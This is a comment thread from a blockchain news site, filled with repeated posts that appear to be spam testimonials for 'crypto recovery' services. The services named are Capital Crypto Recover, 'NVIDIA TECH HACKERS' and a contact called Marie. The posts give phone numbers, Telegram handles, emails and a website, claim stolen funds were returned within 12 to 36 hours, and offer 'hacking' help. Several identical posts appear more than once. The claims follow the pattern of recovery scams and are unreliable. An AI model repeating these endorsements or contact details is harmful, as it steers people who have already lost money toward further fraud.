    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 13.10.25 01:11 elizabethrush89

    God bless Capital Crypto Recover Services for the marvelous work you did in my life, I have learned the hard way that even the most sensible investors can fall victim to scams. When my USD was stolen, for anyone who has fallen victim to one of the bitcoin binary investment scams that are currently ongoing, I felt betrayal and upset. But then I was reading a post on site when I saw a testimony of Wendy Taylor online who recommended that Capital Crypto Recovery has helped her recover scammed funds within 24 hours. after reaching out to this cyber security firm that was able to help me recover my stolen digital assets and bitcoin. I’m genuinely blown away by their amazing service and professionalism. I never imagined I’d be able to get my money back until I complained to Capital Crypto Recovery Services about my difficulties and gave all of the necessary paperwork. I was astounded that it took them 12 hours to reclaim my stolen money back. Without a doubt, my USDT assets were successfully recovered from the scam platform, Thank you so much Sir, I strongly recommend Capital Crypto Recover for any of your bitcoin recovery, digital funds recovery, hacking, and cybersecurity concerns. You reach them Call/Text Number +1 (336)390-6684 His Email: [email protected] Contact Telegram: @Capitalcryptorecover Via Contact: [email protected] His website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 01:15 tyleradams

    Hi. Please be wise, do not make the same mistake I had made in the past, I was a victim of bitcoin scam, I saw a glamorous review showering praises and marketing an investment firm, I reached out to them on what their contracts are, and I invested $28,000, which I was promised to get my first 15% profit in weeks, when it’s time to get my profits, I got to know the company was bogus, they kept asking me to invest more and I ran out of patience then requested to have my money back, they refused to answer nor refund my funds, not until a friend of mine introduced me to the NVIDIA TECH HACKERS, so I reached out and after tabling my complaints, they were swift to action and within 36 hours I got back my funds with the due profit. I couldn’t contain the joy in me. I urge you guys to reach out to NVIDIA TECH HACKERS on their email: [email protected]

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 14.10.25 08:46 robertalfred175

    CRYPTO SCAM RECOVERY SUCCESSFUL – A TESTIMONIAL OF LOST PASSWORD TO YOUR DIGITAL WALLET BACK. My name is Robert Alfred, Am from Australia. I’m sharing my experience in the hope that it helps others who have been victims of crypto scams. A few months ago, I fell victim to a fraudulent crypto investment scheme linked to a broker company. I had invested heavily during a time when Bitcoin prices were rising, thinking it was a good opportunity. Unfortunately, I was scammed out of $120,000 AUD and the broker denied me access to my digital wallet and assets. It was a devastating experience that caused many sleepless nights. Crypto scams are increasingly common and often involve fake trading platforms, phishing attacks, and misleading investment opportunities. In my desperation, a friend from the crypto community recommended Capital Crypto Recovery Service, known for helping victims recover lost or stolen funds. After doing some research and reading multiple positive reviews, I reached out to Capital Crypto Recovery. I provided all the necessary information—wallet addresses, transaction history, and communication logs. Their expert team responded immediately and began investigating. Using advanced blockchain tracking techniques, they were able to trace the stolen Dogecoin, identify the scammer’s wallet, and coordinate with relevant authorities to freeze the funds before they could be moved. Incredibly, within 24 hours, Capital Crypto Recovery successfully recovered the majority of my stolen crypto assets. I was beyond relieved and truly grateful. Their professionalism, transparency, and constant communication throughout the process gave me hope during a very difficult time. If you’ve been a victim of a crypto scam, I highly recommend them with full confidence contacting: 📧 Email: [email protected] 📱 Telegram: @Capitalcryptorecover Contact: [email protected] 📞 Call/Text: +1 (336) 390-6684 🌐 Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 18:07 crypto

    Cryptocurrency's digital realm presents many opportunities, but it also conceals complex frauds. It is quite painful to lose your cryptocurrency to scam. You can feel harassed and lost as a result. If you have been the victim of a cryptocurrency scam, this guide explains what to do ASAP. Following these procedures will help you avoid further issues or get your money back. Communication with Marie ([email protected] and WhatsApp: +1 7127594675) can make all the difference.

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

  • 15.10.25 21:52 harristhomas7376

    "In the crypto world, this is great news I want to share. Last year, I fell victim to a scam disguised as a safe investment option. I have invested in crypto trading platforms for about 10yrs thinking I was ensuring myself a retirement income, only to find that all my assets were either frozen, I believed my assets were secure — until I discovered that my BTC funds had been frozen and withdrawals were impossible. It was a devastating moment when I realized I had been scammed, and I thought my Bitcoin was gone forever, Everything changed when a close friend recommended the Capital Crypto Recover Service. Their professionalism, expertise, and dedication enabled me to recover my lost Bitcoin funds back — more than €560.000 DEM to my BTC wallet. What once felt impossible became a reality thanks to their support. If you have lost Bitcoin through scams, hacking, failed withdrawals, or similar challenges, don’t lose hope. I strongly recommend Capital Crypto Recover Service to anyone seeking a reliable and effective solution for recovering any wallet assets. They have a proven track record of successful reputation in recovering lost password assets for their clients and can help you navigate the process of recovering your funds. Don’t let scammers get away with your hard-earned money – contact Email: [email protected] Phone CALL/Text Number: +1 (336) 390-6684 Contact: [email protected] Website: https://recovercapital.wixsite.com/capital-crypto-rec-1

Для участия в Чате вам необходим бесплатный аккаунт pro-blockchain.com Войти Регистрация

Похожие новости

Есть вопросы?
С вами на связи 24/7
Поддержка 24/7 Help Icon
Менеджер онлайн Help Icon
Help Icon